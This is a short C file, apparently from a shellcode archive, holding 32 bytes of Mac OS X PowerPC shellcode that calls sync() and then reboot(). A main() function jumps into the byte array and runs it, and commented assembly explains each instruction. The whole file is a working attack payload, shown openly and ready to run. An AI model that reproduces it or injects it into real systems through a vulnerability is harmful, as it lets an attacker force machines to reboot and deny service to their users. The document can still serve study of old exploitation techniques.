shellcode-130.c

/*
 * [MacOSX/PowerPC]
 * Shellcode for: sync(), reboot()
 * 32 bytes
 * hophet [at] gmail.com
 * http://www.nlabs.com.br/~hophet/
 *
 */

#include "stdio.h"
#include "string.h"

char shellcode[] =

"\x7c\x63\x1a\x79"
"\x39\x40\x01\x06"
"\x38\x0a\xff\x1e"
"\x44\xff\xff\x02"
"\x60\x60\x60\x60"
"\x39\x40\x01\x19"
"\x38\x0a\xff\x1e"
"\x44\xff\xff\x02";

int main() {

        void (*p)();
        p = (void *)&shellcode;
        printf("Lenght: %d\n", strlen(shellcode));
        p();
}

/*
.globl _main
.text
_main:
        xor.    r3, r3,r3       // r3 = NULL
        li      r10, 226+36
        addi    r0, r10, -226   // r0 = 36
        .long   0x44ffff02      // sc opcode
        .long   0x60606060      // NOP
        li      r10, 226+55
        addi    r0, r10, -226   // r0 = 55
        .long   0x44ffff02      // sc opcode
*/